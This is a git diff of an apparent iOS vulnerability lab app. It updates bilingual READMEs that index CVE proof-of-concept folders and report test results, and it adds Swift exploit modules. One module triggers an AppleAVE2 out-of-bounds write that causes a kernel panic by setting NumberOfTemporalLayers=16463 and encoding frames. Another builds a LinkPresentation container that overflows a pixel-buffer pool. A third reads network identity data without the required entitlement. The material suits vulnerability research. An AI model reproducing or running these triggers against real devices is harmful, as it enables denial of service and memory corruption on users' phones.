| [CVE-2026-113912 / 86972](CVE-2026-113912/) | `aud.drc` | AudioCodecs · mpddrc::UniDrcSelection | OOB read | system process | MPEG-D DRC downmix matrix coefficient validation | `CVE-2026-113912.swift` · `CVE-2026-113912.c` |
|
||||
| [CVE-2026-65385](CVE-2026-65385/) | `kext.iohid` | IOKit.framework · IOHIDEventAppendEvent | OOB write | kernel | IOKit event short-heap fixed-offset write | `CVE-2026-65385.swift` · `CVE-2026-65385.c` |
|
||||
| [CVE-2026-84636](CVE-2026-84636/) | `sc.dynamicstore` | SystemConfiguration · configd dynamic store | info leak | system process | SSID + router MAC without the `wifi-info` entitlement | `CVE-2026-84636.swift` · `CVE-2026-84636.c` |
|
||||
|
||||
## Modules without a CVE — 11
|
||||
|
||||
@@ -92,7 +95,7 @@ Every CVE folder carries a C twin — the same verification in plain C, compilin
|
||||
4. **Oracle** — printed to stdout: OSStatus codes, parse-entry refusals, XPC reply types, signal / crash outcomes
|
||||
5. **`main()`** — argument-parameterised where the Swift version is (depth, block-count, path); the seed file is written to the working directory for inspection
|
||||
|
||||
All 31 compile clean with `clang -O2 -Wall` — zero warnings — and each has a recorded oracle from this exact host.
|
||||
All 34 compile clean with `clang -O2 -Wall` — zero warnings — and each has a recorded oracle from this exact host.
|
||||
|
||||
## Running
|
||||
|
||||
@@ -128,15 +131,19 @@ bash scripts/build-sim.sh # → build/sim/Cinder27.app (arm64 simulator)
|
||||
python3 scripts/gen_seeds.py # → seeds/ (the app's built-in seeds, byte-identical to the .py POCs)
|
||||
```
|
||||
|
||||
Device install: bundle id `com.jbjf.cinder27` (v2.0 build 3), unsigned — sign with your own certificate + a matching (or wildcard) provisioning profile, then sideload.
|
||||
Device install: bundle id `com.jbjf.cinder27` (v2.2 build 5), unsigned — sign with your own certificate + a matching (or wildcard) provisioning profile, then sideload.
|
||||
|
||||
## Verification status
|
||||
|
||||
Full 51-module regression (simulator build): **47 done + 4 armed**.
|
||||
Full 57-module regression (simulator build): **51 done + 4 armed + 2 fire modules left unrun by design**. The two fire modules are the deliberate death oracles for 112705 and 112621; they are compiled in and require a tap.
|
||||
|
||||
Armed is not a timeout — it is the **death oracle firing**: the payload crashes the process, the journal stays armed, the process vanishes. The cm.rpu / cm.rpu.sweep crash stacks land inside `CMGetDMVersionLevelFromRPU` with SIGSEGV; the C twin pins the mechanism — the iOS surface is the 4-argument `(bytes, count, u32*, u32*)` form, while the macOS export takes a single `CFDataRef` (verified by disassembly: arg0 goes through a CFRetain-style GOT call before `FigHEVCBridge_GetRPUMetadata`), so the Swift 4-arg call dies at entry on the simulator's CoreMedia. cg.shading / cg.shading.sweep are R=136 long-overflow ladder sweeps, by design advancing within one process to the fatal rung.
|
||||
|
||||
All 31 C twins compile clean — `clang -O2 -Wall`, zero warnings, macOS arm64 — and each runs with a recorded oracle on the dev host: 112522 raises SIGTRAP (the 2-byte OOB write caught by malloc), 112507 survives the ring race with -300 / invalid-destination receipts, 112706 answers 'Connection invalid' (mediaplaybackd bytestream XPC absent on macOS — silent-service verdict), 112485 surfaces the PEGTL depth receipt (`Expected } at 'def Xform "n1999"'`), 113910 reads back plain 0x41s (decmpfs does not engage for files with existing data). The rest refuse at the entry layer — same receipts as the app harness.
|
||||
All 34 C twins compile clean — `clang -O2 -Wall`, zero warnings, macOS arm64 — and each runs with a recorded oracle on the dev host: 112522 raises SIGTRAP (the 2-byte OOB write caught by malloc), 112507 survives the ring race with -300 / invalid-destination receipts, 112706 answers 'Connection invalid' (mediaplaybackd bytestream XPC absent on macOS — silent-service verdict), 112485 surfaces the PEGTL depth receipt (`Expected } at 'def Xform "n1999"'`), 113910 reads back plain 0x41s and reports 0 classified pointers across the 16-run sweep (decmpfs does not engage for files with existing data); its collector now adds `--loop`, `--keep` and kernel-text/data classification. The three arrivals add their own receipts: 112621 builds the 256×16 → 256×48 container and the 48-row clear faults at a guard page exactly 32,768 bytes past the 16,384-byte pool; 84636 enumerates configd's `State:/Network` tree and reads `Global/DNS` and the primary service while `CNCopyCurrentNetworkInfo` is unavailable on the host — on a device the same call returns nil without the entitlement. 112705 compiles but is never executed on the host: its `.c` carries a `--force-host` gate because a frame submit reaches the same AppleAVE2 driver that panicked this Mac, and the app splits it into a property probe plus a separate fire module. The rest refuse at the entry layer — same receipts as the app harness.
|
||||
|
||||
Kernel R/W feasibility for the high/critical entries is in [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md). Short version: none of the six kernel-reachable primitives supplies both address and value control. 113910 is a classified heap leak (read only), 112554 is a read-width model, 112507 is a race receipt on a UAF-shaped bug, and 112705 / 65385 / 112696 are DoS, reachability, and an honest negative respectively. The maximum safe capability the lab demonstrates is a KASLR lead plus race receipts — not arbitrary kernel R/W.
|
||||
|
||||
112507 reachability was re-measured on the target (iPhone19,7, iOS 27.0.1) with the new `kern.ipc.lifecycle` module and an `armed` counter in `kern.ipc`: `mach_port_request_notification` returns -300 (MIG_TYPE_ERROR) for every type/right combination tried, 0 armed out of 12,288 registrations. The request table is never armed, so the race is not reachable from an unentitled app; the earlier "survived the interleaving" line is retracted. Details in [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md).
|
||||
|
||||
## Module semantics
|
||||
|
||||
|
||||
+14
-8
@@ -2,7 +2,7 @@
|
||||
|
||||
[English](README.md)
|
||||
|
||||
iOS 17.0–27.1 漏洞验证与设备修改工具链,**51 个模块**。主靶:**iOS 27.0.1 / iPhone 18 Pro Max**(iPhone19,7 · 24A446)。
|
||||
iOS 17.0–27.1 漏洞验证与设备修改工具链,**57 个模块**。主靶:**iOS 27.0.1 / iPhone 18 Pro Max**(iPhone19,7 · 24A446)。
|
||||
|
||||
组件覆盖:ImageIO、CoreGraphics、CoreMedia、FontParser、ArchiveUtility、VideoToolbox、AudioToolbox、Calendar、Dolby Vision RPU、XNU 内核 IPC、沙盒与文件系统、GPT / kext、HID / 外设 / 无线链路、entitlement 探测。
|
||||
|
||||
@@ -10,13 +10,13 @@ iOS 17.0–27.1 漏洞验证与设备修改工具链,**51 个模块**。主靶
|
||||
|
||||
| 区块 | 内容 |
|
||||
|---|---|
|
||||
| `CVE-2026-XXXX/`(31 个) | 每个 CVE 一个文件夹,POC 本体在文件夹内:`.py` 种子构建器(可独立运行)、`.swift` 种子构造 + 触发闭包(可独立 typecheck),以及 `.c` 双子——种子 + 触发 + `main()` 自包含,在 macOS arm64 上独立编译运行 |
|
||||
| `CVE-2026-XXXX/`(34 个) | 每个 CVE 一个文件夹,POC 本体在文件夹内:`.py` 种子构建器(可独立运行)、`.swift` 种子构造 + 触发闭包(可独立 typecheck),以及 `.c` 双子——种子 + 触发 + `main()` 自包含,在 macOS arm64 上独立编译运行 |
|
||||
| `<模块名>/`(11 个) | 无 CVE 编号的模块——工具、探针、基线、沙盒原语——按模块 id 命名,同样一文件夹一文件 |
|
||||
| `Sources/` `scripts/` `Resources/` `Info.plist` | Cinder27 app 主体(验证台本体,构建见下) |
|
||||
|
||||
共 42 个 Swift POC 文件(全部通过独立 typecheck)+ 5 个 Python 种子构建器(产物与 app 内置种子逐字节一致)+ 31 个 C POC 文件(macOS arm64 上 `clang -O2 -Wall` 零警告编译通过,各自带一份记录在案的 oracle)。
|
||||
共 45 个 Swift POC 文件(全部通过独立 typecheck)+ 5 个 Python 种子构建器(产物与 app 内置种子逐字节一致)+ 34 个 C POC 文件(macOS arm64 上 `clang -O2 -Wall` 零警告编译通过,各自带一份记录在案的 oracle)。
|
||||
|
||||
## POC 索引 — 31 个 CVE 文件夹
|
||||
## POC 索引 — 34 个 CVE 文件夹
|
||||
|
||||
复合编号(如 `CVE-2026-112627 / 112561`)归并到主编号的文件夹;同一 CVE 命中多个模块时,触发闭包并列在同一文件里。
|
||||
|
||||
@@ -35,6 +35,7 @@ iOS 17.0–27.1 漏洞验证与设备修改工具链,**51 个模块**。主靶
|
||||
| [CVE-2026-112610](CVE-2026-112610/) | `cg.cmap` | CoreGraphics · _cmap_convert | OOB 写 | 进程内 | CMap /UseCMap 递归越界写(负结果探针) | `CVE-2026-112610.swift` · `CVE-2026-112610.c` |
|
||||
| [CVE-2026-112611](CVE-2026-112611/) | `cg.shading`, `cg.shading.sweep` | CoreGraphics · _cg_shading_type5_draw | OOB 写 | 进程内 | Type-5 阴影栈溢出(值可控 OOB 写) | `CVE-2026-112611.swift` · `CVE-2026-112611.c` |
|
||||
| [CVE-2026-112619](CVE-2026-112619/) | `cal.unzip` | CalendarFoundation · _UnzipArchiveWithLimits | OOB 写 | 系统进程 | 日历附件解压容器逃逸 | `CVE-2026-112619.swift` · `CVE-2026-112619.c` |
|
||||
| [CVE-2026-112621](CVE-2026-112621/) | `lp.heic`, `lp.heic.fire` | LinkPresentation · LPAnimatedImageTranscoder | OOB 写 | 进程内 | 链接预览双帧尺寸不一致(后帧高于池) | `CVE-2026-112621.swift` · `CVE-2026-112621.c` |
|
||||
| [CVE-2026-112625](CVE-2026-112625/) | `iio.ktx2`, `iio.pvr` | ImageIO · KTX2ReadPlugin | 整数溢出 | 进程内 | KTX2 维度/层级尺寸运算 | `CVE-2026-112625.py` · `CVE-2026-112625.swift` · `CVE-2026-112625.c` |
|
||||
| [CVE-2026-112627](CVE-2026-112627/) | `iio.dds.bc7`, `iio.appx` | ImageIO · BCReadPlugin::initialize | OOB 读 | 进程内 | BC7 纹理 mip 截断 | `CVE-2026-112627.swift` · `CVE-2026-112627.c` |
|
||||
| [CVE-2026-112629](CVE-2026-112629/) | `iio.jpeg.gps` | ImageIO · GPSCopy::processData | OOB 读 | 进程内 | GPS IFD 值偏移越界 | `CVE-2026-112629.swift` · `CVE-2026-112629.c` |
|
||||
@@ -48,6 +49,7 @@ iOS 17.0–27.1 漏洞验证与设备修改工具链,**51 个模块**。主靶
|
||||
| [CVE-2026-112683](CVE-2026-112683/) | `font.cff` | FontParser · charstring 解释器 | OOB 写 | 进程内 | CFF Type2 charstring 操作数栈溢出 | `CVE-2026-112683.py` · `CVE-2026-112683.swift` · `CVE-2026-112683.c` |
|
||||
| [CVE-2026-112688](CVE-2026-112688/) | `cm.rpu`, `cm.rpu.sweep` | CoreMedia · hevcbridgeParseVdrDmDataPayloadExMetadataBlocks | OOB 写 | 系统进程 | Dolby Vision RPU 扩展元数据块数组越界 | `CVE-2026-112688.swift` · `CVE-2026-112688.c` |
|
||||
| [CVE-2026-112696 / 84494](CVE-2026-112696/) | `probe.ane` | AppleH16ANEInterface | OOB 写 | 内核 | ANE 内核接口可达性 | `CVE-2026-112696.swift` · `CVE-2026-112696.c` |
|
||||
| [CVE-2026-112705](CVE-2026-112705/) | `ave.ntl`, `ave.ntl.fire` | AppleAVE2 · VideoToolbox HEVC 编码器 | OOB 写 | 内核 | `NumberOfTemporalLayers` 16463 → 内核 data abort | `CVE-2026-112705.swift` · `CVE-2026-112705.c` |
|
||||
| [CVE-2026-112706](CVE-2026-112706/) | `cm.fdleak`, `cm.fdleak.boundary` | CoreMedia · mediaplaybackd.bytestream.xpc | 信息泄露 | 系统进程 | CoreMedia bytestream XPC 跨沙盒文件描述符获取 | `CVE-2026-112706.swift` · `CVE-2026-112706.c` |
|
||||
| [CVE-2026-113907](CVE-2026-113907/) | `aud.haptic`, `aud.immersive` | AudioToolbox · AVHapticServerInstance | OOB 写 | 系统进程 | AVHaptic 自定义音频事件格式校验 | `CVE-2026-113907.swift` · `CVE-2026-113907.c` |
|
||||
| [CVE-2026-113910](CVE-2026-113910/) | `kern.decmpfs` | XNU · AppleFSCompressionTypeZlib | 信息泄露 | 内核 | decmpfs 分块解压欠产出 → 内核堆泄露 | `CVE-2026-113910.swift` · `CVE-2026-113910.c` |
|
||||
@@ -92,7 +94,7 @@ iOS 17.0–27.1 漏洞验证与设备修改工具链,**51 个模块**。主靶
|
||||
4. **预言机** —— 打印到 stdout:OSStatus 码、入口拒绝回执、XPC 回复类型、信号/崩溃结果
|
||||
5. **`main()`** —— Swift 版可参数化的地方同样参数化(深度、块数、路径);种子文件写入工作目录备查
|
||||
|
||||
31 个全部 `clang -O2 -Wall` 零警告编译通过,且都在本机跑出记录在案的 oracle。
|
||||
34 个全部 `clang -O2 -Wall` 零警告编译通过,且都在本机跑出记录在案的 oracle。
|
||||
|
||||
## 运行
|
||||
|
||||
@@ -128,15 +130,19 @@ bash scripts/build-sim.sh # → build/sim/Cinder27.app(arm64 模拟器
|
||||
python3 scripts/gen_seeds.py # → seeds/(app 内置种子,与 .py POC 产物逐字节一致)
|
||||
```
|
||||
|
||||
设备安装:bundle id `com.jbjf.cinder27`(v2.0 build 3),未签名——用自有证书 + 匹配(或通配符)描述文件签名后侧载。
|
||||
设备安装:bundle id `com.jbjf.cinder27`(v2.2 build 5),未签名——用自有证书 + 匹配(或通配符)描述文件签名后侧载。
|
||||
|
||||
## 验证状态
|
||||
|
||||
51 模块全量回归(模拟器构建):**47 done + 4 armed**。
|
||||
57 模块全量回归(模拟器构建):**51 done + 4 armed + 2 个 fire 模块按设计未运行**。两个 fire 模块是 112705 与 112621 的主动死亡 oracle,已编译进 app,需人为点按。
|
||||
|
||||
armed 不是超时——是**死亡 oracle 命中**:负载触发进程崩溃,journal 停在 armed、进程消失。cm.rpu / cm.rpu.sweep 的崩溃栈落在 `CMGetDMVersionLevelFromRPU` 内 SIGSEGV;C 双子钉死了机制——iOS 面是 4 参 `(bytes, count, u32*, u32*)` 形态,而 macOS 导出的是单 `CFDataRef`(反汇编验证:arg0 先走 CFRetain 式 GOT 调用才进 `FigHEVCBridge_GetRPUMetadata`),所以 Swift 的 4 参调用在模拟器的 CoreMedia 上死在入口。cg.shading / cg.shading.sweep 为 R=136 长溢出阶梯扫描,按设计在同一进程内推进到致命级。
|
||||
|
||||
31 个 C 双子全部零警告编译通过(`clang -O2 -Wall`,macOS arm64),且都在开发机上跑出记录在案的 oracle:112522 触发 SIGTRAP(2 字节越界写被 malloc 抓住)、112507 活过全程环竞态并带回 -300 / invalid-destination 回执、112706 回应 'Connection invalid'(macOS 无 mediaplaybackd bytestream XPC——静默服务判定)、112485 拿到 PEGTL 深度回执(`Expected } at 'def Xform "n1999"'`)、113910 读回纯 0x41(macOS 上带数据的文件不走 decmpfs)。其余都在入口层被拒——与 app 验证台同形回执。
|
||||
34 个 C 双子全部零警告编译通过(`clang -O2 -Wall`,macOS arm64),且都在开发机上跑出记录在案的 oracle:112522 触发 SIGTRAP(2 字节越界写被 malloc 抓住)、112507 活过全程环竞态并带回 -300 / invalid-destination 回执、112706 回应 'Connection invalid'(macOS 无 mediaplaybackd bytestream XPC——静默服务判定)、112485 拿到 PEGTL 深度回执(`Expected } at 'def Xform "n1999"'`)、113910 读回纯 0x41,并在 16 轮扫描中报告 0 个已分类指针(macOS 上带数据的文件不走 decmpfs);采集器现在支持 `--loop`、`--keep` 与 kernel-text/data 分类。三个新条目各自带回执:112621 造出 256×16 → 256×48 双帧容器,48 行 clear 在 guard 页前精确停下——越界 32,768 字节;84636 枚举 configd 的 `State:/Network` 树并读到 `Global/DNS` 与主服务,而宿主上 `CNCopyCurrentNetworkInfo` 不可用——真机上同一调用在无权限时返回 nil。112705 只编译不在宿主执行:`.c` 带 `--force-host` 闸门,因为帧提交会打到把本机打崩的同一个 AppleAVE2 驱动;app 里拆成属性探测与独立 fire 两个模块。其余都在入口层被拒——与 app 验证台同形回执。
|
||||
|
||||
高/严重条目的内核 R/W 可行性见 [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md)。结论:六个内核原语里没有任何一个同时具备地址控制与值控制。113910 是可分类的堆泄漏(只读),112554 是读宽度模型,112507 是 UAF 形状的竞态回执,112705 / 65385 / 112696 分别是 DoS、可达性与诚实负结果。实验室当前能安全证明的上限是 KASLR 线索 + 竞态回执,而不是任意内核读写。
|
||||
|
||||
112507 的可达性已在目标机(iPhone19,7 / iOS 27.0.1)上用新增的 `kern.ipc.lifecycle` 模块与 `kern.ipc` 的 `armed` 计数重测:`mach_port_request_notification` 在所有类型/权限组合上都返回 -300(MIG_TYPE_ERROR),12,288 次注册 0 次成功。请求表从未被武装,因此无特权 app 触达不到该竞态;此前“活过交错”的结论撤回。详见 [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md)。
|
||||
|
||||
## 模块语义
|
||||
|
||||
|
||||
+10
-11
@@ -4,7 +4,7 @@ import ImageIO
|
||||
|
||||
enum Catalog {
|
||||
|
||||
static let all: [ExploitModule] = coreGraphics + imageIO + imageIO2 + archive + archive2 + coreMedia + crossSandbox + kernel + audio + audio2 + video + fonts + font2 + kext + userspace + tooling + probes
|
||||
static let all: [ExploitModule] = coreGraphics + imageIO + imageIO2 + archive + archive2 + coreMedia + crossSandbox + kernel + audio + audio2 + video + fonts + font2 + kext + userspace + tooling + probes + arrivals
|
||||
|
||||
/// Modules that pin a fix Apple shipped in 27.2 (i.e. carry a CVE number). Computed,
|
||||
/// never hardcoded — the overview subtitle reads it, so it cannot go stale.
|
||||
@@ -413,28 +413,27 @@ enum Catalog {
|
||||
reach: .kernel,
|
||||
tier: 2,
|
||||
summaryZh: "27.2 为每个消费 per-space 端口请求表索引的函数补入 cmp/b.hi 与 NULL 陷阱(ipc_port.c:21/24/34/38/40/41)。27.0 的 free 路径计算了边界却丢弃结果,仍以未检查的基址执行读改写;mark 路径则完全没有边界计算。索引取自 space 中保存的请求表下标,故缺陷形状为「表增长或拆除」与「通知注册或消息发送」并发下的陈旧索引。",
|
||||
notesZh: "该路径上无 entitlement 门槛的入口为 mach_msg 与端口通知注册。本模块以 8 线程运行 6 秒,统计内核返回码分布 —— 任何非 KERN_SUCCESS 的出现频次变化都是索引越界的候选信号。",
|
||||
notesZh: "该路径上原本被认为无 entitlement 门槛的入口是 mach_msg 与端口通知注册。真机实测(iOS 27.0.1,iPhone 19,7)与 macOS 27 上,mach_port_request_notification 的 13 种类型/权限组合全部返回 -300(MIG_TYPE_ERROR):内核拒绝为第三方进程武装请求表项。没有请求表项,就没有可被竞态消费的陈旧索引 —— 本模块因此是一个可达性负结果,而不是竞态证据。armed 计数为 0 时,任何“survived”都不构成 112507 结论。",
|
||||
run: { ctx in
|
||||
let baseline = KernelIPC.baseline()
|
||||
ctx.arm("kern.ipc", "race 6s")
|
||||
let stats = KernelIPC.race(seconds: 6.0, workers: 4, depth: 48)
|
||||
ctx.disarm("kern.ipc", "ops=\(stats.operations)")
|
||||
ctx.disarm("kern.ipc", "ops=\(stats.operations) armed=\(stats.armed) refused=\(stats.notificationsRefused)")
|
||||
var lines = [stats.summary, ""]
|
||||
lines.append(tl("— 基线 —"))
|
||||
for (k, v) in baseline.sorted(by: { $0.key < $1.key }) {
|
||||
lines.append("\(k): \(v)")
|
||||
}
|
||||
if stats.notificationsRefused > 0 {
|
||||
if stats.armed == 0 && stats.notifications > 0 {
|
||||
lines.append("")
|
||||
lines.append(tl("— 平台限制 —"))
|
||||
lines.append(tl("对自身端口注册通知返回 -300 (KERN_INVALID_CAPABILITY)。"))
|
||||
lines.append(tl("该平台不允许这条武装路径,故请求表索引竞态无法在此被驱动。"))
|
||||
lines.append(tl("本模块仍完成了 ") + "\(stats.allocations)" + tl(" 次端口分配与回收,"))
|
||||
lines.append(tl("验证了名称空间的分配/拆除路径本身可用。"))
|
||||
lines.append(tl("— 可达性判定 —"))
|
||||
lines.append(tl("通知注册成功 0 次,拒绝 ") + "\(stats.notificationsRefused)" + tl(" 次,内核返回 -300(MIG_TYPE_ERROR)。"))
|
||||
lines.append(tl("请求表项从未建立,竞态没有可消费的对象:本模块未触达 112507。"))
|
||||
lines.append(tl("已完成的 ") + "\(stats.allocations)" + tl(" 次分配/拆除只证明端口名称空间可用,不是漏洞证据。"))
|
||||
}
|
||||
let headline: String
|
||||
if stats.notificationsRefused > 0 {
|
||||
headline = tl("分配/拆除路径可用,通知武装被平台拒绝")
|
||||
if stats.armed == 0 && stats.notifications > 0 {
|
||||
headline = tl("通知注册全程 -300 — 112507 路径未武装(负结果)")
|
||||
} else if !stats.kernelErrors.isEmpty {
|
||||
headline = tl("竞态完成,内核返回 ") + "\(stats.kernelErrors.count)" + tl(" 类错误码")
|
||||
} else {
|
||||
|
||||
@@ -0,0 +1,514 @@
|
||||
import Foundation
|
||||
import UIKit
|
||||
import ImageIO
|
||||
import CoreGraphics
|
||||
import CoreMedia
|
||||
import CoreVideo
|
||||
import VideoToolbox
|
||||
import LinkPresentation
|
||||
import Network
|
||||
import SystemConfiguration
|
||||
import SystemConfiguration.CaptiveNetwork
|
||||
import UniformTypeIdentifiers
|
||||
|
||||
// MARK: - CVE-2026-112705 / CVE-2026-112621 / CVE-2026-84636
|
||||
//
|
||||
// Three arrivals from public research. Each one is split into a probe and, where the
|
||||
// trigger is destructive, a separate fire module: the probe is safe to run while
|
||||
// building the lab, the fire module is a deliberate one-tap trigger on a device that
|
||||
// is allowed to die for the result.
|
||||
|
||||
extension Catalog {
|
||||
|
||||
static let arrivals: [ExploitModule] = [
|
||||
|
||||
// ── CVE-2026-112705 · AppleAVE2 NumberOfTemporalLayers ──────────────
|
||||
ExploitModule(
|
||||
id: "ave.ntl",
|
||||
titleZh: "AppleAVE2 时间层数属性面(NumberOfTemporalLayers)",
|
||||
cve: "CVE-2026-112705",
|
||||
component: "AppleAVE2 · VideoToolbox HEVC encoder",
|
||||
primitive: .oobWrite,
|
||||
reach: .kernel,
|
||||
tier: 3,
|
||||
summaryZh: """
|
||||
VideoToolbox 的 HEVC 压缩会话把 NumberOfTemporalLayers 原样下发给 AppleAVE2 驱动,驱动按声明值索引一张固定大小的层表。16463 越过表尾,第一次提交帧时在 AppleAVE2 +0xDA78 写入固定偏移,内核 data abort;16462 存活。iOS 27.2 在 SetProperty 阶段就返回 -12900。本模块只做属性面:建会话、设置 EncoderUsage=1 / RCMode=20、写入 NTL 并回读,不提交任何帧。
|
||||
""",
|
||||
notesZh: """
|
||||
fire 版本才会提交一帧并触发 panic。macOS 上同一驱动同样可达:实测 16463 在 macOS 上 SetProperty 返回 0(回读被归一化为 1),说明属性被接受但值没有透传,帧提交仍有内核崩溃风险 —— 这也是本机被 112705 打崩过一次之后,宿主只编译不执行的原因。设备上跑 fire 之前先确认目标机允许重启。
|
||||
""",
|
||||
run: { ctx in
|
||||
ctx.arm("ave.ntl", "session + property acceptance")
|
||||
var lines: [String] = []
|
||||
let (session, create) = aveSession()
|
||||
lines.append("VTCompressionSessionCreate(hvc1) = \(create) \(fourCC(create))")
|
||||
guard create == 0, let s = session else {
|
||||
ctx.fail("ave.ntl", "session=\(create)")
|
||||
throw LabError(message: tl("HEVC 压缩会话创建失败"))
|
||||
}
|
||||
defer { VTCompressionSessionInvalidate(s) }
|
||||
|
||||
let su = aveSet(s, "EncoderUsage", NSNumber(value: 1))
|
||||
let sr = aveSet(s, "RCMode", NSNumber(value: 20))
|
||||
_ = aveSet(s, kVTCompressionPropertyKey_RealTime as String, kCFBooleanFalse)
|
||||
lines.append("EncoderUsage=\(su) RCMode=\(sr)")
|
||||
|
||||
var accepted: [Int] = []
|
||||
for n in [64, 1024, 16462, 16463] {
|
||||
let st = aveSet(s, "NumberOfTemporalLayers", NSNumber(value: n))
|
||||
lines.append("NTL \(n): status=\(st) readback: \(aveRead(s, "NumberOfTemporalLayers"))")
|
||||
if st == 0 { accepted.append(n) }
|
||||
}
|
||||
ctx.disarm("ave.ntl", "accepted=\(accepted.count)/4")
|
||||
let verdict: String
|
||||
if accepted.contains(16463) {
|
||||
verdict = tl("16463 被接受 —— 该构建的设备在 fire 时会 panic")
|
||||
} else if accepted.isEmpty {
|
||||
verdict = tl("全部被拒 —— 27.2+ 的修复面")
|
||||
} else {
|
||||
verdict = tl("部分档位被接受")
|
||||
}
|
||||
return ModuleOutcome(headline: verdict, detail: lines.joined(separator: "\n"),
|
||||
evidence: [tl("引用: AppleAVE2 +0xDA78, far=0x59"), tl("16462 存活 / 16463 触发")])
|
||||
}),
|
||||
|
||||
ExploitModule(
|
||||
id: "ave.ntl.fire",
|
||||
titleZh: "AppleAVE2 时间层数越界写(fire:提交一帧)",
|
||||
cve: "CVE-2026-112705",
|
||||
component: "AppleAVE2 · VideoToolbox HEVC encoder",
|
||||
primitive: .oobWrite,
|
||||
reach: .kernel,
|
||||
tier: 1,
|
||||
summaryZh: """
|
||||
完整的 112705 触发:HEVC 会话 → EncoderUsage=1 → RCMode=20 → NumberOfTemporalLayers=16463 → 提交一帧。在 iOS 27.0–27.1 上,驱动在准备这一帧时越界写,内核 data abort,设备重启。进程内看不到返回值 —— 证据是重启后在概览页出现的 processDied 判定,以及 Analytics 里的 panic .ips。
|
||||
""",
|
||||
notesZh: """
|
||||
只应在允许重启的设备上点。模拟器没有 AVE2 硬件编码器,走到 encode 也只会返回状态码,不会崩;macOS 上不要运行对应 POC 的 encode 路径(同驱动,会打崩宿主)。27.2 起 NTL 在 SetProperty 就被拒,fire 会安全返回 -12900。
|
||||
""",
|
||||
run: { ctx in
|
||||
let detail: String
|
||||
do {
|
||||
let (session, create) = aveSession()
|
||||
guard create == 0, let s = session else {
|
||||
throw LabError(message: tl("HEVC 会话创建失败: ") + "\(create)")
|
||||
}
|
||||
defer { VTCompressionSessionInvalidate(s) }
|
||||
_ = aveSet(s, "EncoderUsage", NSNumber(value: 1))
|
||||
_ = aveSet(s, "RCMode", NSNumber(value: 20))
|
||||
_ = aveSet(s, kVTCompressionPropertyKey_RealTime as String, kCFBooleanFalse)
|
||||
let sn = aveSet(s, "NumberOfTemporalLayers", NSNumber(value: 16463))
|
||||
guard sn == 0 else {
|
||||
ctx.disarm("ave.ntl.fire", "ntl refused \(sn)")
|
||||
return ModuleOutcome(headline: tl("NTL 被拒 ") + "\(sn)" + tl(" —— 修复构建"),
|
||||
detail: "NumberOfTemporalLayers=16463 status=\(sn)")
|
||||
}
|
||||
var attrs: [CFString: Any] = [:]
|
||||
attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary
|
||||
var pb: CVPixelBuffer?
|
||||
let pc = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720,
|
||||
kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange,
|
||||
attrs as CFDictionary, &pb)
|
||||
guard pc == 0, let pixel = pb else {
|
||||
throw LabError(message: tl("像素缓冲创建失败: ") + "\(pc)")
|
||||
}
|
||||
// Arm last: everything that can fail early has already succeeded.
|
||||
ctx.arm("ave.ntl.fire", "NTL=16463 encode[0]")
|
||||
var log = "NumberOfTemporalLayers=16463 accepted\n"
|
||||
for i in 0..<4 {
|
||||
let pts = CMTime(value: CMTimeValue(i), timescale: 30)
|
||||
let st = VTCompressionSessionEncodeFrame(s, imageBuffer: pixel,
|
||||
presentationTimeStamp: pts,
|
||||
duration: .invalid,
|
||||
frameProperties: nil,
|
||||
infoFlagsOut: nil) { _, _, _ in }
|
||||
log += "encode[\(i)] status=\(st)\n"
|
||||
if st != 0 { break }
|
||||
}
|
||||
VTCompressionSessionCompleteFrames(s, untilPresentationTimeStamp: .invalid)
|
||||
detail = log
|
||||
}
|
||||
ctx.disarm("ave.ntl.fire", "survived")
|
||||
return ModuleOutcome(headline: tl("设备存活 —— 未命中该构建"),
|
||||
detail: detail + tl("没有发生 panic:模拟器无 AVE2,或系统已是 27.2+"))
|
||||
}),
|
||||
|
||||
// ── CVE-2026-112621 · LinkPresentation multi-frame HEIC ─────────────
|
||||
ExploitModule(
|
||||
id: "lp.heic",
|
||||
titleZh: "LinkPresentation 双帧尺寸不一致(池容量核对)",
|
||||
cve: "CVE-2026-112621",
|
||||
component: "LinkPresentation · LPAnimatedImageTranscoder",
|
||||
primitive: .oobWrite,
|
||||
reach: .inProcess,
|
||||
tier: 3,
|
||||
summaryZh: """
|
||||
LPAnimatedImageTranscoder 用第 0 帧的像素尺寸配置 video writer,encodeNextFrame 却从当前解码帧取绘制高宽,目标仍是按第 0 帧分配的 CVPixelBuffer 池。256×16 后接 256×48 的双帧容器让 CGContextClearRect 清零 48 行(49152 字节)进 16384 字节的池,越界 32768 字节。本模块只构造容器并核对两帧尺寸与池容量,不做转码。
|
||||
""",
|
||||
notesZh: """
|
||||
宽度必须保持一致:CoreGraphics 会用池的行跨距校验宽度,512 宽的后续帧会让 CGBitmapContextCreate 直接失败,执行到不了 clear。HEIC 是公告里的载体;模拟器不能编 HEIC 时回退到 TIFF,并以 image/gif 的 MIME 投递 —— LPImage 的 _isAnimated 只看响应头,ImageIO 仍按内容识别。fire 版本才会让 LPMetadataProvider 真正拉取并转码。
|
||||
""",
|
||||
run: { ctx in
|
||||
ctx.arm("lp.heic", "container + pool math")
|
||||
var lines: [String] = []
|
||||
let seed = lpContainer()
|
||||
guard let data = seed.data else {
|
||||
ctx.fail("lp.heic", "container")
|
||||
throw LabError(message: tl("无法构造双帧容器"))
|
||||
}
|
||||
lines.append("format=\(seed.label) bytes=\(data.count)")
|
||||
let sizes = lpFrameSizes(data)
|
||||
for (i, s) in sizes.enumerated() { lines.append("frame[\(i)] \(s.0)x\(s.1)") }
|
||||
guard sizes.count >= 2 else {
|
||||
ctx.fail("lp.heic", "count=\(sizes.count)")
|
||||
throw LabError(message: tl("容器没有两帧"))
|
||||
}
|
||||
let stride = sizes[0].0 * 4
|
||||
let pool = stride * sizes[0].1
|
||||
let draw = stride * sizes[1].1
|
||||
lines.append("pool = \(sizes[0].0)x\(sizes[0].1) × 4 = \(pool) B (stride \(stride))")
|
||||
lines.append("draw = frame 1 height \(sizes[1].1) × stride = \(draw) B")
|
||||
lines.append("overflow = \(draw - pool) B")
|
||||
lines.append(tl("宽度一致: ") + (sizes[0].0 == sizes[1].0 ? "yes" : "no"))
|
||||
